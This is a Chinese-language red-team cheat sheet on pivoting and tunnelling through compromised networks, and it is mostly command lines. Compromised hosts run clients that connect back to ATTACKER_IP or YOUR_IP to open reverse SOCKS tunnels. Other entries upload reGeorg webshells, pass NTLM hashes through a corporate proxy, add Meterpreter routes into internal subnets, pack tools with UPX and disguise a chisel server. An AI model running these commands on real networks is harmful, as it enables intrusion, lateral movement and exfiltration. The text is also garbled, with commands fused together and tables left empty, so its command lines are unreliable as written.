网络转发技术
摘要
-
SOCKS 兼容性表 -
Windows netsh 端口转发 -
SSH -
SOCKS 代理 -
本地端口转发 -
远程端口转发 -
Proxychains -
Graftcp -
Web SOCKS - reGeorg -
Web SOCKS - pivotnacci -
Metasploit -
sshuttle -
chisel -
SharpChisel -
gost -
Rpivot -
RevSocks -
plink -
ngrok -
使用内置工具捕获网络跟踪 -
基本转发类型 -
监听 - 监听 -
监听 - 连接 -
连接 - 连接 -
参考文献
SOCKS 兼容性表
|
|
|
|
|
|
---|---|---|---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Windows netsh 端口转发
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destportnetsh interface portproxy add v4tov4 listenport=3340 listenaddress=10.1.1.110 connectport=3389 connectaddress=10.1.1.110# Forward the port 4545 for the reverse shell, and the 80 for the http server for examplenetsh interface portproxy add v4tov4 listenport=4545 connectaddress=192.168.50.44 connectport=4545netsh interface portproxy add v4tov4 listenport=80 connectaddress=192.168.50.44 connectport=80# Correctly open the port on the machinenetsh advfirewall firewall add rule name="PortForwarding 80" dir=in action=allow protocol=TCP localport=80netsh advfirewall firewall add rule name="PortForwarding 80" dir=out action=allow protocol=TCP localport=80netsh advfirewall firewall add rule name="PortForwarding 4545" dir=in action=allow protocol=TCP localport=4545netsh advfirewall firewall add rule name="PortForwarding 4545" dir=out action=allow protocol=TCP localport=4545
-
listenaddress – 本地 IP 地址,等待连接。 -
listenport – 本地监听的 TCP 端口(连接将在此端口上等待)。 -
connectaddress – 本地或远程 IP 地址(或 DNS 名称),即传入连接将被重定向至此地址。 -
connectport – 连接将从 listenport 转发至的 TCP 端口。
SSH
SOCKS 代理
ssh -D8080 [user]@[host]ssh -N -f -D 9000 [user]@[host]-f : ssh in background-N : do not execute a remote command
小贴士:Konami SSH 端口转发
[ENTER] + [~C]-D 1090
本地端口转发
ssh -L [bindaddr]:[port]:[dsthost]:[dstport] [user]@[host]
远程端口转发
ssh -R [bindaddr]:[port]:[localhost]:[localport] [user]@[host]ssh -R 3389:10.1.1.224:3389 [email protected]
Proxychains
配置文件:/etc/proxychains.conf
[ProxyList]socks4 localhost 8080
设置 SOCKS4 代理,然后执行 proxychains nmap -sT 192.168.5.6
Graftcp
一款灵活的工具,用于将指定程序的 TCP 流量重定向到 SOCKS5 或 HTTP 代理。
与 proxychains 类似,采用另一种机制进行“代理化”,支持 Go 应用程序。
# https://github.com/hmgle/graftcp# Create a SOCKS5, using Chisel or another tool and forward it through SSH(attacker) $ ssh -fNT -i /tmp/id_rsa -L 1080:127.0.0.1:1080 root@IP_VPS(vps) $ ./chisel server --tls-key ./key.pem --tls-cert ./cert.pem -p 8443 -reverse (victim 1) $ ./chisel client --tls-skip-verify https://IP_VPS:8443 R:socks # Run graftcp and specify the SOCKS5(attacker) $ graftcp-local -listen :2233 -logfile /tmp/toto -loglevel 6 -socks5 127.0.0.1:1080(attacker) $ graftcp ./nuclei -u http://172.16.1.24
graftcp 的简单配置文件
# https://github.com/hmgle/graftcp/blob/master/local/example-graftcp-local.conf## Listen address (default ":2233")listen = :2233loglevel = 1## SOCKS5 address (default "127.0.0.1:1080")socks5 = 127.0.0.1:1080# socks5_username = SOCKS5USERNAME# socks5_password = SOCKS5PASSWORD## Set the mode for select a proxy (default "auto")select_proxy_mode = auto
Web SOCKS - reGeorg
reGeorg,作为 reDuh 的继任者,能够攻陷堡垒式的网络服务器,并通过 DMZ 创建 SOCKS 代理。进行横向渗透,获取控制权。
将以下文件之一上传至服务器:
-
tunnel.ashx -
tunnel.aspx -
tunnel.js -
tunnel.jsp -
tunnel.nosocket.php -
tunnel.php -
tunnel.tomcat.5.jsp
python reGeorgSocksProxy.py -p 8080 -u http://compromised.host/shell.jsp # the socks proxy will be on port 8080optional arguments: -h, --help show this help message and exit -l , --listen-on The default listening address -p , --listen-port The default listening port -r , --read-buff Local read buffer, max data to be sent per POST -u , --url The url containing the tunnel script -v , --verbose Verbose output[INFO|DEBUG]
Web SOCKS - pivotnacci
pivotnacci,一款通过 HTTP 代理实现 SOCKS 连接的工具。
pip3 install pivotnaccipivotnacci https://domain.com/agent.php --password "s3cr3t"pivotnacci https://domain.com/agent.php --polling-interval 2000
Metasploit
# Meterpreter list active port forwardsportfwd list # Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shellportfwd add –l 3389 –p 3389 –r target-host portfwd add -l 88 -p 88 -r 127.0.0.1portfwd add -L 0.0.0.0 -l 445 -r 192.168.57.102 -p 445# Forwards 3389 (RDP) to 3389 on the compromised machine running the Meterpreter shellportfwd delete –l 3389 –p 3389 –r target-host # Meterpreter delete all port forwardsportfwd flush or# Use Meterpreters autoroute script to add the route for specified subnet 192.168.15.0run autoroute -s 192.168.15.0/24 use auxiliary/server/socks_proxyset SRVPORT 9090set VERSION 4a# oruse auxiliary/server/socks4a # (deprecated)# Meterpreter list all active routesrun autoroute -p route #Meterpreter view available networks the compromised host can access# Meterpreter add route for 192.168.14.0/24 via Session number.route add 192.168.14.0 255.255.255.0 3 # Meterpreter delete route for 192.168.14.0/24 via Session number.route delete 192.168.14.0 255.255.255.0 3 # Meterpreter delete all routesroute flush
Empire
(Empire) > socksproxyserver(Empire) > use module management/invoke_socksproxy(Empire) > set remoteHost 10.10.10.10(Empire) > run
sshuttle
透明代理服务器,类似于简易的 VPN,基于 SSH 进行转发。
-
无需管理员权限。 -
兼容 Linux 和 MacOS。 -
支持 DNS 隧道技术。
pacman -Sy sshuttleapt-get install sshuttlesshuttle -vvr [email protected] 10.1.1.0/24sshuttle -vvr username@pivot_host 10.2.2.0/24 # using a private key$ sshuttle -vvr [email protected] 10.1.1.0/24 -e "ssh -i ~/.ssh/id_rsa"# -x == exclude some network to not transmit over the tunnel# -x x.x.x.x.x/24
chisel
go get -v github.com/jpillora/chisel# forward port 389 and 88 to hacker computeruser@hacker$ /opt/chisel/chisel server -p 8008 --reverseuser@victim$ .chisel.exe client YOUR_IP:8008 R:88:127.0.0.1:88 R:389:localhost:389 # SOCKSuser@victim$ .chisel.exe client YOUR_IP:8008 R:socks
SharpChisel
Chisel 的 C# 封装:https://github.com/shantanu561993/SharpChisel
user@hacker$ ./chisel server -p 8080 --key "private" --auth "user:pass" --reverse --proxy "https://www.google.com"================================================================server : run the Server Component of chisel -p 8080 : run server on port 8080--key "private": use "private" string to seed the generation of a ECDSA public and private key pair--auth "user:pass" : Creds required to connect to the server--reverse: Allow clients to specify reverse port forwarding remotes in addition to normal remotes.--proxy https://www.google.com : Specifies another HTTP server to proxy requests to when chisel receives a normal HTTP request. Useful for hiding chisel in plain sight.user@victim$ SharpChisel.exe client --auth user:pass https://redacted.cloudfront.net R:1080:socks
Ligolo
Ligolo:为渗透测试人员简化的反向隧道工具,由渗透测试人员开发
-
构建 Ligolo
# Get Ligolo and dependenciescd `go env GOPATH`/srcgit clone <https://github.com/sysdream/ligolo>cd ligolomake dep# Generate self-signed TLS certificates (will be placed in the certs folder)make certs TLS_HOST=example.commake build-all
-
使用 Ligolo
# On your attack server../bin/localrelay_linux_amd64# On the compromise host.ligolo_windows_amd64.exe -relayserver LOCALRELAYSERVER:5555
Ligolo-ng
Ligolo-ng:一种先进而简洁的隧道工具,利用 TUN 接口进行操作。
单一跳转
-
下载二进制文件。
-
可以从 这里 下载相应的二进制文件。
-
设置 ligolo-ng 接口和 IP 路由。
-
首先需要创建一个新的接口,并通过该接口向我们希望跳转的子网添加 IP 路由。我们可以通过以下的 bash 脚本轻松实现这一点。
#!/bin/baship tuntap add user root mode tun ligoloip link set ligolo upip route add <x.x.x.x24> dev ligolo
-
然后,我们可以通过执行
chmod +x ligolo-ng_setup.sh && ./ligolo-ng_setup.sh
来运行脚本。 -
配置 ligolo-ng 代理。
-
接口设置完成后,我们可以启动 ligolo-ng 代理。我们可以使用任意未被占用的
<PROXY_PORT>
。./proxy -laddr <ATTACKER_IP>:<PROXY_PORT> -selfcert
-
使用 ligolo-ng 代理连接 ligolo-ng 代理。
-
在被攻陷的计算机上,我们可以使用代理连接回代理。
./agent -connect <ATTACKER_IP>:<PROXY_PORT> -ignore-cert
-
开始通过 ligolo-ng 隧道传输流量。
-
一旦代理接收到来自代理的连接,我们可以使用
session
命令列出可用的会话。 -
我们可以使用方向键选择所需的会话,并发出
start
命令以开始通过该会话进行流量隧道。 -
使用本地工具。
-
隧道建立后,我们可以通过 ligolo-ng 网络枢纽使用本地攻击工具,如 CrackMapExec、Impacket、Nmap,而不受任何限制或延迟(尤其适用于 Nmap)。
双重跳转
-
在初始跳转会话中设置监听器。
-
为了启动双重跳转,我们必须确保第二个代理的连接通过第一个代理,以避免失去与第一个跳转的联系。为此,我们需要为负责第一个跳转的 ligolo-ng 会话创建一个 监听器。
-
此命令在被攻陷主机的所有接口 (
0.0.0.0
) 上启动一个监听器,端口为4443
(我们可以用任何未被占用的端口替换)。任何到达此监听器的流量将被重定向到 ligolo-ng 代理 (--to <ATTACKER_IP>:<PROXY_PORT>
)。listener_add --addr 0.0.0.0:4443 --to <ATTACKER_IP>:<PROXY_PORT> --tcp
-
启动第二个代理。
-
在将 ligolo-ng 代理传输到我们攻陷的第二个跳转主机后,我们将启动一个连接,不是直接连接到我们的 ligolo-ng 代理,而是连接到第一个跳转代理。
.agent.exe -connect <1st_PIVOT_HOST_IP>:4443 -ignore-cert
-
启动第二个跳转。
-
在 ligolo-ng 代理中,我们将通过第一个代理的监听器接收到来自第二个代理的呼叫。我们可以使用
session
命令和方向键在创建的会话中导航。发出start
和stop
命令,我们可以告诉 ligolo-ng 代理哪个会话将用于流量隧道。 -
为第二个网络添加新的 IP 路由。
-
在能够使用本地工具访问我们希望跳转到的第二个网络之前,我们需要通过第一步创建的
ligolo
接口添加新的 IP 路由。ip route add 172.16.10.0/24 dev ligolo
-
使用本地工具。
-
隧道建立后,我们也可以使用本地攻击工具访问第二个网络。
三重跳转等
-
该过程与第二个跳转完全相同。
跳转到单个主机以暴露内部运行的服务
-
同样的过程也可以用于跳转到单个主机,而不是整个子网。这将允许操作员暴露被攻陷服务器中本地运行的服务,类似于通过 SSH 进行的动态端口转发。
Gost
英文 Wiki https://docs.ginuerzh.xyz/gost/en/
git clone https://github.com/ginuerzh/gostcd gost/cmd/gostgo build# Socks5 ProxyServer side: gost -L=socks5://:1080Client side: gost -L=:8080 -F=socks5://server_ip:1080?notls=true# Local Port Forwardgost -L=tcp://:2222/192.168.1.1:22 [-F=..]
Rpivot
服务器(攻击者主机)
python server.py --proxy-port 1080 --server-port 9443 --server-ip 0.0.0.0
客户端(被攻陷的主机)
python client.py --server-ip <ip> --server-port 9443
通过企业代理
python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] --ntlm-proxy-port 8080 --domain CORP --username jdoe --password 1q2w3e
哈希传递
python client.py --server-ip [server ip] --server-port 9443 --ntlm-proxy-ip [proxy ip] --ntlm-proxy-port 8080 --domain CORP --username jdoe --hashes 986D46921DDE3E58E03656362614DEFE:50C189A98FF73B39AAD3B435B51404EE
revsocks
# Listen on the server and create a SOCKS 5 proxy on port 1080user@VPS$ ./revsocks -listen :8443 -socks 127.0.0.1:1080 -pass Password1234# Connect client to the serveruser@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234user@PC$ ./revsocks -connect 10.10.10.10:8443 -pass Password1234 -proxy proxy.domain.local:3128 -proxyauth Domain/userpame:userpass -useragent "Mozilla 5.0/IE Windows 10"
# Build for Linuxgit clone https://github.com/kost/revsocksexport GOPATH=~/gogo get github.com/hashicorp/yamuxgo get github.com/armon/go-socks5go get github.com/kost/go-ntlmsspgo buildgo build -ldflags="-s -w" && upx --brute revsocks# Build for Windowsgo get github.com/hashicorp/yamuxgo get github.com/armon/go-socks5go get github.com/kost/go-ntlmsspGOOS=windows GOARCH=amd64 go build -ldflags="-s -w"go build -ldflags -H=windowsguiupx revsocks
plink
# exposes the SMB port of the machine in the port 445 of the SSH Serverplink -l root -pw toor -R 445:127.0.0.1:445 # exposes the RDP port of the machine in the port 3390 of the SSH Serverplink -l root -pw toor ssh-server-ip -R 3390:127.0.0.1:3389 plink -l root -pw mypassword 192.168.18.84 -Rplink.exe -v -pw mypassword [email protected] -L 6666:127.0.0.1:445plink -R [Port to forward to on your VPS]:localhost:[Port to forward on your local machine] [VPS IP]# redirects the Windows port 445 to Kali on port 22plink -P 22 -l root -pw some_password -C -R 445:127.0.0.1:445 192.168.12.185
ngrok
# get the binarywget https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-amd64.zipunzip ngrok-stable-linux-amd64.zip # log into the service./ngrok authtoken 3U[REDACTED_TOKEN]Hm# deploy a port forwarding for 4433./ngrok http 4433./ngrok tcp 4433
cloudflared
# Get the binarywget https://bin.equinox.io/c/VdrWdbjqyF/cloudflared-stable-linux-amd64.tgztar xvzf cloudflared-stable-linux-amd64.tgz# Expose accessible internal service to the internet./cloudflared tunnel --url <protocol>://<host>:<port>
-
Windows (netsh)
# start a capture use the netsh command.netsh trace start capture=yes report=disabled tracefile=c:trace.etl maxsize=16384# stop the tracenetsh trace stop# Event tracing can be also used across a rebootsnetsh trace start capture=yes report=disabled persistent=yes tracefile=c:trace.etl maxsize=16384# To open the file in Wireshark you have to convert the etl file to the cap file format. Microsoft has written a convert for this task. Download the latest version.etl2pcapng.exe c:trace.etl c:trace.pcapng# Use filtersnetsh trace start capture=yes report=disabled Ethernet.Type=IPv4 IPv4.Address=10.200.200.3 tracefile=c:trace.etl maxsize=16384
-
Linux (tcpdump)
sudo apt-get install tcpdumptcpdump -w 0001.pcap -i eth0tcpdump -A -i eth0# capture every TCP packettcpdump -i eth0 tcp# capture everything on port 22tcpdump -i eth0 port 22
基本的网络转发类型
|
|
---|---|
|
|
|
|
|
|
监听 - 监听
|
|
---|---|
|
|
|
|
|
|
|
|
监听 - 连接
|
|
---|---|
|
|
|
|
|
|
|
|
连接 - 连接
|
|
---|---|
|
|
|
|
|
|
|
|
参考文献
-
Windows 中的端口转发 - Windows OS Hub <http://woshub.com/port-forwarding-in-windows/>
-
使用 SSH“Konami 代码”(SSH 控制序列) - Jeff McJunkin <https://pen-testing.sans.org/blog/2015/11/10/protected-using-the-ssh-konami-code-ssh-control-sequences>
-
红队的劫持指南 - 2017 年 3 月 23 日 - Artem Kondratenko <https://artkond.com/2017/03/23/pivoting-guide/>
-
劫持 Meterpreter <https://www.information-security.fr/pivoting-meterpreter/>
-
🇫🇷 2019 年网络劫持的现状 - 2019 年 10 月 28 日 - Alexandre ZANNI <https://cyberdefense.orange.com/fr/blog/etat-de-lart-du-pivoting-reseau-en-2019/>
- 🇺🇸网络劫持和隧道的概述[2022 更新] - Alexandre ZANNI <https://blog.raw.pm/en/state-of-the-art-of-network-pivoting-in-2019/>
-
红队:使用 SharpChisel 进行内部网络的外泄 - Shantanu Khandelwal - 6 月 8 日 <https://medium.com/@shantanukhande/red-team-using-sharpchisel-to-exfil-internal-network-e1b07ed9b49>
-
活动目录 - hideandsec <https://hideandsec.sh/books/cheatsheets-82c/page/active-directory>
-
Windows:使用内置工具(netsh)捕获网络跟踪 - 2021 年 2 月 22 日 Michael Albert <https://michlstechblog.info/blog/windows-capture-a-network-trace-with-builtin-tools-netsh/>
原文始发于微信公众号(securitainment):网络转发技术存档
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论